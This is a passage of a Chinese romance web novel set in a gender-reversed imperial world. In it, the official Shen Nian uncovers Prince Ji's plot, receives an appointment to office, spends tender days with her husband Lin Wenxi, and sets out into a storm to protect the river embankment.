“是吗?”沈年想起今日与沈修撰分别时她站在原地不动,她也不知道那时候自己为何那样做,只是固执的想要沈修撰抬起头来再看看她,或许是因为在沈修撰摸她头的那一瞬,她真的将沈修撰当做了自己的母亲,想她再来看看自己。 “三娘走什么神呢?”林闻溪探出头来问沈年。 沈年晃了晃头抽回思绪,“你刚才说什么来着?” “我说那字画我都叫人摆到书阁去了,三娘一会过去看看。” “倒是白让母亲为我费心了,我已有了别的主意,不必送宋大人什么字画。” 林闻溪哦了一声,又翻到下面的那张,上面画的像张椅子,好奇问了问沈年这又是做什么用的。 “那是给你坐的,在榻上躺久了偶尔叫他们推你到院中晒晒日头。”沈年嘴里咬了一块虾肉嘟囔道。 林闻溪摸着那些线条不再说话了,他要给沈年送的木刻与这个比起来相形见绌,像个拿给小孩子的玩偶,他琢磨着怎样再添一点心思进去才显得郑重。 沈年身上沾了味道出了屋去沐浴,林闻溪趁着工夫叫人唤人将他的木刻取出来拿笔在上面染墨,猫身有了颜色似乎更要栩栩如生,他这才算满意一些。 “等久了吧。”沈年在发尾系着根红色发带,进来时被风吹得飘起,林闻溪看着晃了晃神。 沈年扶着他缓缓站起来时,林闻溪满脑子都想着她是用什么花汁沐浴的身上好香,让他总想着凑近。 林闻溪走了几步,到了屋门前停下,沈年问他是不是走不动。 林闻溪听着外面的雨声,“三娘,我想和你一同赏赏雨。” “可你的腿” “烤了许久的火,现在一点都不难受,我一直都想要看看。” 沈年让林闻溪先扶着桌角,将右边的窗户敞开,雨一瞬间扑进来,在沈年额头上沾了几滴。 沈年抬手擦了擦,身后的林闻溪自己沿着桌边走过来将脸搭在她肩上。 沈年偏头问了问他:“冷不冷。” “有三娘在,不冷。”林闻溪不怎么能站得稳,他半坐在桌边上身完全贴着沈年的后背,看着窗外的骤雨。 沈年伸手掩着他的膝盖,安静与他一起听雨。 小池塘里被雨点打起数不清的小气泡,屋檐下躲雨的一对新燕叽叽喳喳为对方理着湿掉的尾羽,门口留着一只黄油油的伞 林闻溪贴着沈年的颈听她说话,“对了,清茸他托我谢你呢。” 他幽幽在沈年肩上道:“三娘这个时候还能想起别人呢。” “只是忽然想起来——”沈年说到一半被林闻溪拽着转过来勾着脖子吻。 沈年浅尝辄止,推开林闻溪后退一步道:“天要黑了,再这么亲我要克制不住,今夜没法睡了。” 林闻溪牵着她的手,“为何要克制?” “你的病才养几天。” “三娘带我去榻上,我会用别的法子。” 林闻溪拉着沈年的手从他膝盖上移,想要带她摸到何处不言而喻。 沈年发觉这人纯情的时候是真纯情,大胆的时候也真大胆,被他弄的脸上发烫:“莫要胡闹,等你病好了,不在这一时半会。” 林闻溪不依不饶,倚在她身前眨巴着眼道:“求你了。” 他如此这般央求只是想趁着今日天阴,沈年在榻上看不清楚他胸前的那道疤而已。 沈年哪里能抗的住这男人这样,脑子一热答应。 林闻溪将衣裳穿好后才叫沈年下榻点灯,沈年拿来帕子让林闻溪净手,他从前明明十分青涩不知道从哪学会了这些。 林闻溪听沈年说这些觉得是对他的夸奖,从后面靠上来意犹未尽舔了下她的耳边,“还不都是跟三娘学的,下次就让我试试这样吧如何?” 沈年伸手捂住他的嘴,“我哪教过你这些东西,以后再也不着你的道了。” 林闻溪揽着她哼了一声睡下,沈年戳了他一下道:“我还有个好消息没跟你说呢。” “什么?” “过两日我也许要被赐官了。” 林闻溪闻言欢喜恭贺:“三娘有这样的技艺,能入朝做官是早晚的事。” “清茸在我们院里住的不踏实,你往后随便指点事情给他做,养养花浇浇水什么的,让他好生待着。” “是。”林闻溪和声应着。 二人夜话,沈年又絮絮叨叨讲了许多,把今日沈修撰与她讲的又讲给林闻溪听,让他往后防着点院中的守卫,讲着讲着也不知道是哪个先睡着,屋中静了下来,只听得见潇潇的雨声。 林闻溪的腿今夜也没发作一夜无梦,早起雨还未歇沈年不用去上值,起来说要去官属拜见宋昭佛。 昨夜听沈年说了来龙去脉,林闻溪不免的要问一问沈年想了要拿什么东西送他。 “还记得那个男扮女装在野庙中被杀掉的刘知夷吗?那案子的凶手至今还没有查到,”沈年抱了一壶酒在怀中回首向林闻溪道,“我这就去告诉她。” 28 第28章 ◎赐官◎ 沈年擎着一把伞先往罗府走了一趟,案子尘埃落地罗从宛想来也要动身入京准备殿选,文中她被一纸圣书分去了做了平卢县的县令,在那一呆就是三年。 平卢县是个地方小县,被几座青山围着环境潮湿偶尔还会有林中的瘴气流进城中,罗从宛水土不服赴任半月就生了一场,被男主沈岳施针治好埋下了二人的感情线。 男主沈岳的父亲是个聪明人,他早瞧出了沈父的手段,在男主还小的时候就将他送到远在平卢县的阿姐家寄居,之后回京被已是寡夫的林闻溪从中作梗,与女主误会另与她人成了婚。 沈年算了算,河道完工的时日与男主沈岳从平卢县回府的日子相合,虽说林闻溪现在转了性,但有翠娘的前例在,一切也说不准。 沈年一面将伞面往前倾挡着飘进来一面想着日后要盯紧林闻溪才行,她低头避着脚下的水坑与迎面而来的男子撞在一起。 男子跌坐在地上沾了一身的淤泥,手边的伞被风吹着落到沿边的小河里湿的七零八落漂流而去。 沈年将手中的伞撑到男子头顶,下意识探出手去扶他,见男子向后躲了躲而后又讪讪地收回来,“我只顾着遮雨了没看路,实是不好意思你还好吧。” 雨丝绕在沈年身上,顺着她的脸滴落,男子仰头看了她只一眼后忧郁垂首道:“无事。” 他自己撑着地缓缓站了起来,纤白的手指骨节上沾了一层黄泥,直起腰他的身形格外显得高。 “这身衣服你得赔给我。”他从袖口抽出一张素绢将手上的污物擦去,随手丢到地上道。 沈年抹了抹脸上的雨水,将怀中的酒坛放在路边掏出三五两银子递给他,“这些应该够买你这一身衣裳了。” 男子摊开手心接过又吐出一句话道:“我没伞,你要送我回家。” “公子拿去用,我便不上门了。” 沈年觉得此人有种奇怪,留了心只将伞柄交到他手边,那男子倒也没再说什么撑着伞独自走了。 沈年被雨打的浑身湿透,所幸雨势渐小且离罗府也没多远的路了,她快跑了两步刚巧遇到罗从宛也在路上。 进了罗府换了一身罗从宛的衣裳,捧着她端过来的姜汤暖了暖身子。 “正巧赶着今日下雨,想着沈娘子会得空,我正打算出门去拜别沈娘子,”罗从宛围着小火炉煮着沈年带来的酒愧疚道,“可惜每回都迟了沈娘子一步。” “明日雨停我母亲也正要回京呢,从宛可跟随母亲的官队一同走,行程更快也安稳。” “沈大人有官命在身,怎好打扰。” 沈年道:“我在兰城不也是托了罗督丞的照应,况且又是顺路没什么打扰的。” 罗从宛斟了两杯温酒,招呼沈年坐过来碰杯同酌,“不多言谢,此酒甚好,青梅前味酸涩细品却是醇香甘甜,便如你我今日一别日后定能相见于盛时。” 她说着仰头将酒倒入喉中,前路未卜她虽这般说着仍是不免露出哀愁之态。 “无论你信不信我都要说,来日你会成为京中明堂之上最亮的那一颗珠,”沈年握着她的手挑眉一笑道:“而且我们日后定是要时常相见的。” 罗从宛只当沈年说的是醉话,扭头见甲卫已在门口等着,开口唤她进来。 沈年回身看去,她穿着一身干练的素衣也是浑身湿乎乎的不知从何处弄一脚的泥,停在门前并未踏脚进来。 罗从宛似有醉意,懒懒的伏在桌上道:“她这人不管刮风下雨都要去林子里舞刀练剑,我也劝不动她。” 沈年起身走到她面前,要开口才发觉一直也还不知她的名字便问了一声。 “我们这些人自小被收养关在营房中练武,没有名字只有排名。”甲卫取下脖子上挂着的铭牌,沈年接过一看上面刻着“伍”字。 “和你一起的那些甲卫也都是被收养的?” 甲卫点头回道:“大半是各处无家可归被霁王的人捡回去的,还有些是当年巫蛊案从各府中逃出来的,有的是府中老仆的孩子,有的也可能是那些罪臣的后人,她们即便是还记得自己是何名何姓也不会说的。” 沈年问她:“那你记得吗?” 甲卫迷茫摇头:“不记得。” “那你可知道刘知夷与霁王之间究竟有什么渊源?” “我们这些人出了营便被霁王派到了这里看管那些被送进来的男人,再也未见过她。先前还不知道刘知夷是个男人,只觉得那人很怪,每日过来便一人钻进那间屋里,有那么一两回在里面一呆就是几日,里面还有些怪声像是敲鼓一样。” 沈年闻言捏着甲卫的铁牌在手中思量片刻,“可否将这牌子放我这里,我有用处。” “沈娘子要用的就拿去吧。” 沈年听闻抄刘知夷府上的时候并没有搜到刘宅的有多少家财,除了那张挪不动的地皮,刘知夷所掌的二房这边几乎只是一个空架子,那各间铺子里也没有多少存银,全数叫刘知夷每月清点出去了。 刘知夷的家财落进了谁的口袋,不用想就知道。 而且刘知夷那夜里在野庙里穿着一身雍容华贵男装,要见的人想来也只有霁王了。 霁王早知道他是个男人,而且以刘知夷身上的痕迹来看二人那夜似还亲近过一番,为何又会提刀将刘知夷杀掉,还摆出那般折辱他的死状。 沈年回神不再去猜,反正将此事告只宋昭佛,她自会着人去探查。 “清茸他已经能下地了,只不过他没提起过你。” 甲卫听到清茸的名字抬头嘴巴张了一下,“他好好的就成,不提我也免得再伤心,我跟罗娘子这一去不知何时能回来劳烦沈娘子多关照他。” 沈年转头看向伏在桌案上睡着的罗从宛,“你跟着她安心做事,往后与清茸或许有丝转机的话,也能让他过些好日子。” “还有,往后为自己取个名字吧,听清茸讲你曾与他说过要带他出来,忘记从前的那些过往过新的日子。” 她在雨中站着像是株青松,默声点头不为风雨所动,目送着沈年撑着伞从府中离去。 沈年去时宋昭佛正在廊亭中作画,被沈修撰点出了内情,沈年在她面前不在那般拘谨,笑着声进去道:“冒雨前来,未扰了宋大人的雅兴吧。” 宋昭佛瞥见沈年两手空空而来,执笔继续在纸上描摹着荷叶,未动身相迎。 沈年并不在意,自顾自的在亭边坐下。 “今日前来特为谢宋大人的恩,我备了一份厚礼要呈给宋大人。” 沈年说着从襟中取出铁牌提着绳子在空中晃了晃,宋昭佛抬起头来,转头示意左右小侍走过去从沈年手中接过。 宋昭佛身为皇亲对此物一眼辨出,“这是王府中才用的规制,不过只是一个寻常亲卫的铭牌,如何说的上是厚礼。” 沈年将事情和盘托出让宋昭佛一骇,“霁王一向不显山露水的,竟然如此早便开始做局偷偷将那些罪臣的的孩子都养大做亲卫!” 这些罪臣之后亲见父母无辜被先帝诛杀,心中愤恨可想而知,必定将怨恨全数积在当今陛下身上,霁王将这些人养在身边的意图自不必说。 “此事牵涉甚大,小民一直藏在心中不敢同旁人说起,霁王她筹谋多年宋大人要早做应对,若能查出真是霁王与刘知夷相会抢财杀人,便可让她颜面扫地,若想谋反朝中也无人相应。” 沈年此举无疑是向宋昭佛投了诚,毕竟霁王也朝中颇有威望,此时若是振臂一呼想要黄袍加身,也未尝没有人拥护,她揭破此事对陛下这一支来说的确是一份厚礼。 宋昭佛惊出一身冷汗,那张图也被手中笔尖滴落的墨染出一团黑污,她顾不得命人前来收拾,向沈年道了一声便急匆匆拂衣而去。 林闻溪回去见沈年换了一身衣裳回来不言语,专从榻上起身下来假装不经意细闻了几下,没闻到什么才算是信了沈年的说辞。 沈年也唯恐自己又招来了什么怪人,或者又是阿久给她挖的什么坑,连着两三日出门回院都唤小薇寸步不离的跟在身边,不过一切无恙,风平水静。 那男子也没再出现在她眼前,沈年暂且忘了这事。 陛下的圣书下的快,御前的人骑着高头大马呼着她的名字,沈年掀开帐子一见官衣上绣着青雀便知是何事,喜面迎上去领旨。 沈年低头跪着听得虞部司少卿几字,她笼统知道虞部司隶属工部至于少卿是个什么官便不大清楚了,听完旨又是几番磕头谢恩,直到那御官唤她起身才抬头站身。 御官面上挂着笑脸向沈年拱手道:“恭喜沈大人了。” 沈年躬身一谢想客气几句请这御官进帐中喝杯茶,对方摆手道有事,起身跳上马往官属方向而去,宋昭佛今日未来,想来这御官是去寻她了。 等人走后周围人簇拥上来恭贺,沈年才是这官是从六品,比起沈修撰来说是不算什么,可比起初登仕途之人来说已算是高位了。 回去时院门口挂着几串红鞭炮,门环上还挂了朵绸缎缠成的大红花,白石扶着林闻溪等在门口迎接。 林闻溪这两日可以自己下地来走走了,见了沈年笑吟吟递给她一只燃着的香,“这鞭炮要三娘亲手点响更喜庆呢。” 白石和小薇在旁拍着手欢喜道:“明日是三娘子生辰,今日我们院子里也算是双喜临门,放个鞭炮把先前的霉运都驱走,迎迎喜。” 沈年点着线后跳到门前的石阶上,林闻溪捂着耳朵钻进沈年怀里倚着,鞭炮噼里啪啦乍开一地红纸屑,院里的一众人都钻出来看热闹。 29 第29章 ◎放河灯◎ 沈年无功名傍身一跃成了六品官娘子,逢到主子家这样大的喜事这些个小侍从免不了要讨个彩头,林闻溪摆着一副当家正君的派头,开口各自赏了两个月的份例银子。 林闻溪在园中设了小宴,一院子人喧闹到月上云稍才散了席。 回屋点起灯,林闻溪又围在身边帮沈年试她的官服,一身月蓝色在铜镜里朦胧看着着似只垂着翅的蓝蝶。 “你今儿站久了坐着歇会。” 林闻溪脚步飘乎乎的,沈年抓着他的手腕往一旁矮榻上坐。 沈年弯腰低下头在灯下细瞧才看见林闻溪的面颊上红扑扑的,虽说是夜里但外面并不冷应当不是着凉,而且沈年隐隐的从他呼吸中闻到一丝淡淡的酒味。 席上沈年几乎一直都在林闻溪旁边看着,不知道他是什么时候找到机会偷喝的。 林闻溪身子刚见好一点,沈年叫他继续再榻上躺几日,他嘴上应着等着沈年清早一出门就穿衣下榻忙着打理园子中的琐事。 沈年回来说他一嘴,他学了一招缠在沈年身上撒娇三言两语糊弄过去,第二日照旧。 今日更甚当着她的面偷喝起酒了,沈年心里想着非得治一治他,面上不动声色问道:“你这脸上红红的是怎么回事?” “啊?”林闻溪扭脸照了下镜子,眼神向下瞟了瞟,回脸将胳膊环在沈年肩上道:“我只是有些热。” 沈年将他的手从肩上拽下来,“觉得热就不必和我贴这么近,早些洗沐睡下吧。” 林闻溪不察觉起身唤白石扶着他出去了,从浴池子里出来擦干,白石替他往身上伤疤处涂药。 他将镜面上的水珠抹去仰起脖子凑近灯烛问白石:“我这疤痕有没有淡下去一些。” 白石道:“郎君这药膏比药铺子里卖的还要管用呢,比前两日已经痕迹已经消去不少了呢。” 林闻溪满意点了下头,又腼腆开口问白石他的身形看起来如何,有没有匀称些。 白石摇头,“郎君病的时候消减太多,不是三五天就能补回来的。” 林闻溪闻言怅然一叹,站起身来转身瞧了下镜中的轮廓,白石跟在林闻溪身边多时自然知道他心中在愁什么,拿起里衣边帮他穿上边说道:“三娘子对郎君如此上心,不会在意这些的,郎君莫要太焦虑此事。” 林闻溪浅浅笑了下,捧着药碗喝下又饮下一口甜汤,神清气爽回屋中寻沈年去了。 撩开纱帘见沈年已松了发髻面朝里面歇下了。 林闻溪上塌揽着沈年的腰道:“三娘今日怎么不等我就睡。” 沈年挪了挪身子躲开林闻溪的手淡淡地道:“累了。” 林闻溪的手僵一下,沈年刚才的小动作明显是故意的,他又试探着将手放在沈年后背,“那我帮三娘捏捏背。” “不用了。”沈年冷淡用手肘推开他的胳膊道。 林闻溪安静躺了片刻,弱弱开口问沈年是怎么了*。 “你今日趁我不注意偷喝我杯中的酒了。”沈年懒得在卖关子问他道。 林闻溪听到沈年是为着这桩小事闹别扭,没当回事贴在沈年背上软声软气哄她道:“我见众人都喝,嘴里乏味只是抿了一点而已。” 沈年甩开他的手坐起来,“你嘴这么馋怎么不把那一整杯都喝光啊。” 林闻溪跟着起身将脸凑过来又要使他那一套,被沈年扭脸躲开。 “就这一回,我日后不喝就是了。” “这话你都在我面前说了几回了,日后又瘫在榻上,我可没工夫管你。” 沈年冷冰冰撂下话自己挤到最里面背身躺下,林闻溪自觉钻进被子里不敢再动弹。 他胸口堵着口气不敢睡,听到沈年呼吸平缓后又想着悄悄贴过去求和,又被她用力的推开。 “三娘”林闻溪心急着唤沈年。 沈年扔了个枕头挡在两人中间,“自个睡,别挨着我。” 沈年听着前半夜林闻溪一直翻身不眠,后来渐渐听见没了声音,她也不敢转头去看人睡着了没有,万一转头林闻溪睁着眼见她心软又得缠上来软磨硬泡,今夜她这脾气就算是白发一通了。 不知什么时辰她合眼入梦,早起林闻溪又藏在她怀里用被角遮着脸。 沈年掀开见林闻溪的眼角微微一颤,便晓得这人是在装睡,看他耍这种不太聪明的小把戏,一时按捺不住笑出声。 林闻溪抬起一只眼偷看沈年,握着那只木刻猫从被中探出手,举到沈年眼前出声喵了一声,小声说道:“三娘生辰安康。” 这木猫刻的似能看见猫身上的一根根细毛,尤其那对猫眼瞳孔黑亮亮的泛着光点,灵动传神真如同活物一般。 沈年捧在手中低头惊喜的看向林闻溪,“送给我的?” “嗯,小玩意不值什么钱,三娘还喜欢吗?” 沈年扑倒在林闻溪身上用力点头,“是那只猫,你不是不喜欢它,怎么能刻的一模一样。” 林闻溪心中石头落地抚着沈年的头,“那昨夜的事三娘不要气我了,我不喜欢一个人睡。” “你想掌家管起这后院来这没什么,大可和我说,也不急在这一时半刻的。” 林闻溪自认在沈年面前并不坦诚,沈父过些年终究也是要回来的,他自得趁着这些年将后宅掌在自己手中,毕竟沈父可是对他动了杀念的,来日这怨他早晚也要寻他算一算。 他也不能真指着沈年轻飘飘一句话过日子,总要抓点实在的东西在手中才能安心。 这些盘算他自是不会向沈年吐露半字的,他心底那些潮湿阴暗的沟壑是见不得光的。 林闻溪又向沈年撒了个谎:“如今院中里里外外的人多了,三娘在外辛苦,我也只是想尽正君的本分为三娘理好后院。” 见沈年信了他的话,林闻溪继续答应道:“日后我听三娘的话,暂且不管了就是。” 林闻溪送的生辰礼着实是送到了沈年心坎上,沈年抱在怀里不撒手,临出门时还亲了一口摆在枕头旁。 “真是……”林闻溪见沈年只顾着亲那猫,反倒冷落他在一边,撇了嘴怨念道。 沈年闻声过去与他贴了贴脸,咧嘴笑着哄他道:“今晚等我回来带你出去放河灯。” 傍晚沈年回来接了林闻溪,林闻溪在屋中憋闷了这些时日,趴在马车窗前吹着晚风,远远的瞧见河上的那长石桥。 河岸边三三两两站着人,放眼看去都是年轻娘子和郎君,一手中捧着河灯,一手在红布条上写字,河面上月光波光粼粼,星星点点的飘着盏盏小灯。 马车停在街边,沈年揽着林闻溪的腰下来。 “先过去那看看,你喜欢什么样子的。”沈年指着前面卖河灯的几个小摊牵上林闻溪的手带着他往前走。 林闻溪低头看看沈年的手指在他手背上摩挲,绯红着脸脚步顿了顿。 沈年扯了扯林闻溪身上的披风,“怎么了?” 他腼腆笑笑:“没……没什么,外面真热闹。” 沈年捧起一盏粉色的荷花灯给林闻溪看,微亮的灯烛照在她的脸上分外好看。 “这盏如何,喜欢吗?” “好看。”林闻溪说着也弯腰拾起另一盏灯面上画着一对双鱼正戏水。 沈年给摊贩付了银两,带林闻溪到河岸边蹲下,将河灯放在水面上学着他的模样,双手捧在面前祈愿。 沈年睁开眼见林闻溪还闭着眼,直到河灯已经顺着河水飘出去老远他才将眼张开。 “你许这么长的愿菩萨能记得住嘛。” 林闻溪望着河面上的灯,见无人往这边看偷偷窝在沈年肩上,“爹爹没银子给我买这么漂亮的灯,我以前只能在角落羡慕别的小孩子放,好不容易出来一趟要把以前记在心里的愿望都说一遍才行。” “我不知道”沈年转头在林闻溪额头上亲了亲。 林闻溪张望着四周红着脸直起身子,看见对面岸边的男子正直直的看着他和沈年,又惊又羞地躲到沈年后背:“三娘怎么也不说一声,叫人看了个正着。” 沈年抬起头往对岸一看正是那日她撞到那男子,他弯腰下去往河里放下一盏白色的纸灯后准备转身走。 沈年起身拉着林闻溪把他送回马车,穿过石桥去到对岸去寻那男子的踪迹已不见了人,她到岸边盯着他放的那盏灯,上面不写着字,也未画什么图。 且她总觉的以前在哪里见过这人似的,但又忆不起来,一头雾水回去同林闻溪说起这事。 “我刚只瞧了那男子一眼,脸倒是没看清楚,只觉他身量扎眼,比平常男子要高出半个头呢。” 林闻溪这一句话点醒了沈年,有这样身形的人她还见过一个,便是刘知夷。 以两人的年纪来倒像是一对父子。 沈年回想着两人的脸,还有河面上的那盏灯,若他真是刘知夷所生,那他的母亲会是……霁王。 刘知夷若与霁王有过孩子,那他先前口气那般狂傲也能说的通了。 只是这男子那日雨中故意来接近是何用意,还有今日在岸边遇见应也不是什么巧合。 还有他那日还找借口让她跟他回家,今日怎么又躲着走了。 30 第30章 ◎出门去踏青◎ 沈年未将她那一身官服穿出门过,只是人们逢见到她都改唤了一声沈大人或是沈少卿,她一时半刻难把自己与“大人”二字相搭起来,总感觉这名头安在她头上哪哪都不相宜。 不过有了这层身份,沈年查起那男子的下落来方便不少。 沈年听那男子的口音并不是兰城之人,大有可能是近几日才来的,林闻溪只瞥了他一眼便能记得身形,城门口的官差大概也会留有印象。 入城之前都要在簿子上登记了户籍文书才能放行,去翻一翻登记簿子或能查到这男子的身份。 沈年趁着午间去向城门口的官差打听,她一提起来官差就回说是有这么一个人,昨夜城门马上要关的时候这男子已乘着马车出城去,因为这男子行色匆匆她们还留心检查了一番才放行。 看簿子上留下的名字,男子的姓氏与刘知夷并不一致,与霁王好像也没什么牵扯,男子名唤陈孟君,永州人氏。 因先帝有一出身民间的宠君名唤梦钧,故许多人家也盼着自家男儿也能飞上枝头,多化用为孟君二字作为男子的名。 此名现在就如同张三李四一般,一石头扔下去能砸倒一片。 永州又离京城千里迢迢,这人一走实在是无处可寻。 若是找到这男子或能坐实霁王与刘知夷的私情,但沈年细细想了想还是并未把此事告知宋昭佛。 这男子隐姓埋名躲到千里之外,此番来兰城或许是听说了刘知夷的死讯前来吊唁而已,看着他一脸忧郁的神情想来过的并不如意,未知其中原委沈年想着自己不该无故将人扯入这漩涡之中。 沈年过后还寻到了那男子所住过的客栈,也是干干净净未曾留下什么,这桩事暂且不了了之。 沈年一心忙她的事,有城墙上挂着那十几个人头震慑,又有宋昭佛留在此地坐镇,这坝修的极为顺利。 河道上的劳工们见着沈三娘子从清早来一钻进库房里就是一整日,日暮出来时里面地上就摆了一溜新的石凿铁锹。 其中不乏有人想去偷师,蹲在墙角偷看沈娘子在里头弄什么名堂,被沈娘子回头看见笑呵呵的招手请她进来,按在凳子上指着图纸口若悬河如同教书先生一样讲的人头晕,便捂着肚子寻了个更衣的借口溜了出去。 宋昭佛的脚更是未沾过库房门前的一点土,沈年每次从那出来不仅浑身一股铁屑味,还沾着一手黑乎乎的油,宋昭佛生性喜洁,回回都嫌弃的拿着帕子捂着脸,叫沈年站在帐子门口回话不许到她近前来。 沈年这边想寻个学徒留不住人,找宋昭佛商议又被她当成瘟神一样,一人成日在库房里郁闷的很。 工期一日日缩短,沈年以防出什么岔子,只好自己日日风雨无阻早出晚归的,一日回院的时候打更的梆子都敲了四声。 苦了林闻溪每天瞧不见人,还在夜里痴痴等着人回来,灯油都要多添几回。 沈年四更回来那日,林闻溪头一回跟她发了脾气,努着嘴给沈年擦了脸将帕子甩在木盆里,自己上塌靠在一边睡,气不顺憋着也不说话。 沈年跟过去搂着他的后背,下巴抵在他肩上说:“生什么闷气呢?” 林闻溪不吭声,依旧闭着眼。沈年只好就这么抱着他,说:“今日一时忘了时辰,日后不会这么晚了。” 林闻溪阴阳怪气呛她:“沈少卿一双巧手,不如在河道上给自己造个屋子出来,往后就住在那省再的回来。” 沈年低头在他脖颈上亲了下,亲完又蹭了蹭林闻溪的脸说:“你在这里我哪舍得走。” 林闻溪悄悄笑了一下,转过身面着沈年,抬手摸摸她的脸。他的手指按着沈年的下唇抚了抚,他散着乌发身上散着刚沐浴过的清香,半垂着眼眸不敢与她对视。 林闻溪身子已养的好了许多,沈年俯身亲吻,久未亲近二人都有些生涩,抬起头时林闻溪胸膛起伏,眼里似洇着水一样湿润润的。 沈年想着补偿他,“我先前答应你的,明日带你去摸鱼,到山上去挖青笋。” “好。” 林闻溪微微向她笑着,动手想去拉开身上的衣带,被沈年按住手。 他不解小声问道:“三娘不想吗?” 沈年为难道:“你这体质万一再有孩子……还是算了。” 林闻溪不敢跟沈年说那是他喝了几碗坐胎药的才得来的孩子,他打消沈年的顾虑道:“那一回说不定只是运气好,而且明日可以喝避子汤便不会有的。” 沈年躺下拍着林闻溪的背疏解:“你本来就喝不少药,再忍忍过些时候再说吧。” 林闻溪只好又硬生生将心中的悸动压了下去,其实每回沈年轻轻碰一下他便很快有反应,但这种事他一直羞于启齿,次日晨起的时候趁着沈年未醒,换了衣裤去在浴池里泡了一会才算好。 一早日头明媚,林闻溪带着顶竹斗笠,背上背篓兴冲冲跟着沈年出门。 院中的一干人都在,小薇和白石前头提着锄头和鱼竿打闹,清茸默默跟在后面,沈年特意唤了他出来散心。 几人先去了山上踏青,林闻溪看见什么绿苔野草就指着问沈年是什么名物,沈年也支支吾吾答不上来,一直默不作声的清茸对这些倒懂,开口给林闻溪讲了几句。 但凡稍有点用处的,林闻溪就采几株塞进背篓里,还没见到笋就已经背了半篓。 爬了半个山坡,沈年唤众人停下脚先歇歇。 沈年抓着林闻溪的后衣襟,按着他的肩坐在石头上。 “三娘,我还不累。” 沈年将水袋递到他手边,看了看他一背篓的杂草,不好说什么扫他的兴。 “你不累别人累,安静坐会就是。” 林闻溪哦了一声,捡起那几根破草跟在沈年耳边嗡嗡的一直念,跟三岁小孩显摆自己的玩具一样,沈年敷衍点头相应。 坐了片刻他又起身跟白石拿来了锄头,拉着沈年准备扛起他的背篓往坡上面去。 沈年先一步背起来,“你在前面探路。” 林闻溪欢喜蹦着往上去了,过一会停在一处唤她过来。 沈年倚在一颗树上翘着脚,“你挖吧。” 林闻溪使一身的力气挥着锄头,沈年不管他眺望着山下的景色。 等他这股新奇劲散了,自然也就没力气太折腾了。 果然过了一会,林闻溪将挖来的青笋放在背篓里,累的半蹲在地上气喘吁吁。 “累了?”沈年转过头来俯身敲了敲他的斗笠问道。 “嗯。” 林闻溪仰起头,脸上一层薄汗,向沈年伸出胳膊。 沈年托着他站起来,把锄头递给刚上来的小薇二人,背上东西,“那我们下去坐下歇歇。” 扶着他下了山坡,坐在石头上喝水。 清茸坐在角落望着山下吹风。 二人方便说话,林闻溪将手放在沈年的脸颊上,他的手心发热,被锄头的木柄磨着微微发痛。 林闻溪一副撒娇的语气:“三娘,我这手又烧又痛的。” 沈年握着吹了吹气,“没事,你太用力过会就好了。” 林闻溪坐着朝山下一个方向望了好一会,突然兴奋拉沈年站起来走到山坡边上,指了指道:“那就是我们住的院子。” 山上的风凉,吹着两人的发丝,林闻溪有些冷靠在沈年身上,沈年牵上他的手又陪着他寻先前住的院子在何处。 林闻溪道:“改日该回去看一看呢。” 下了山林闻溪坐在树下看沈年拿着鱼篓下河摸鱼,那鱼在水里滑不溜秋的蹦起来甩尾溅了沈年一脸的水,沈年皱着眉头生气在水里去追那条鱼。 林闻溪盯着她笑。 衣裳弄的浑身湿淋淋的才总算抓来一条,林闻溪唤她上岸来,捡了些木枝来烤火,又从襟袖中取出帕子为沈年擦身上的水。 二人亲昵惹的白石开口打趣,林闻溪在外人面前一向脸面薄,被说一句脸就从里到外红透,转身忙着帮忙收拾鱼虾去了。 这些鱼虾刚从水中捕上来不用加什么佐料,只架在火上一烤就滋味十足,沈年夸了句林闻溪烤的火候正好,他就不顾自己吃了全递给沈年。 午后天上积起云,吹了股冷风来一行人才灭了火苗回去。 沈年回去换了身衣裳,小心凑在林闻溪跟前说自己还得去河道上值。 林闻溪倒不是生气,只是怕沈年这样日日没个空歇息累出什么毛病来,“怎么最近这么急,可是工程延误了要赶工。” “那倒不是,进度比预计的还要快几日,只是我怕有什么夜长梦多,早日完工早些安心。” 林闻溪点头,只是让沈年别再忙到三更半夜才想着回来。 送了沈年出门,林闻溪想着沈年说快要完工的事情,在院门口望着街猛的怅然若失。 在这兰城小院里过惯了日子,在京中宅府中的生活仿若都像是上辈子的事情了,那时的他与现在全然是两副样子了。 他来时所求的一切不知不觉间竟全都有了。 一时想到日后要回京中去,他倒觉着心里空荡荡的,有什么东西被抽去了一样。 30-40 31 第31章 ◎救了不少人◎ 转眼已是夏日鸣蝉。 这日夜里忽然电闪雷鸣下起了暴雨,沈年惊醒起身坐起来下榻点灯,林闻溪跟着起身。 听着屋外的动静,林闻溪蹙眉缓下手中的动作忧心道:“这么大的雨,穿这蓑衣也不济什么事,我看三娘还是等雨势小一些再去吧。” 沈年戴上蓑帽遮的脸小小一张,拍了拍林闻溪的肩道:“这雨一时半刻停不了的,还有末尾几段坝未竣工我得过去看看。” 林闻溪攥紧沈年的手急道:“三娘怎知道?这鬼天气大半夜的出去叫人怎么能放心。” 书里正是这场雨冲塌了沿河的堤坝让水淹了半个城,翠娘见事发才敢拿着名单去府衙告发之后被暗害。 不过书中未写明这雨是在哪日,虽说沈年已未雨绸缪提前在那几处囤了沙袋和挡水板,但万一被上涨的河水冲开豁口水漫上来就不好了。 “没事的,安心在院中等我回来就是。” 沈年拉开他的手迈步,林闻溪在身后小步跟着要与她一同出去,沈年合上门在门缝里把他推了回去。 半夜雨幕黑压压的寸步难行,沈年手里提着的油灯被雨水溅进去一瞬扑灭,耳边雨声不停眼前只剩一片漆黑。 “三娘子抓紧我的胳膊。”沈年听到小薇在她身侧喊道。 沈年灵机一动拆了空间内的应急灯出来,眼前豁然一亮。 “三娘子这是何物,不怕雨淋。” 沈年被雨糊的张不开嘴,摆手示意先不说这个,拉着小薇往前面赶。 去时地上遍是被河水冲上岸的卷成堆的泥沙,周边有几户人家的木屋被狂风吹的支零破碎,断裂的木桩子横七竖八嵌在泥地里,一地的狼藉。 “这儿……这儿”微弱的声音透过雨声传来。 沈年循声打着灯照过去,看见有一家老小围成一堆躲在张木板下避雨,几个人被雨淋的衣衫尽湿抱在一起浑身发抖。 向她招手的是面容还显稚气的小姑娘,沈年晃了下灯回应往几人的方向过去,迈几脚过去就陷在一滩泥里,幸亏有小薇在旁抓着她才没被风掀倒在地。 二人走面前时已是满腿的黄泥,沈年弯腰喘着粗气。 小姑娘看清她的脸如获大赦般回头向里面的人说道:“是沈大人来了,阿婆不用怕了。” 沈年抬起脸往小姑娘身后看,是位头发斑白的老阿婆怀中还护着两个五六岁的小童。 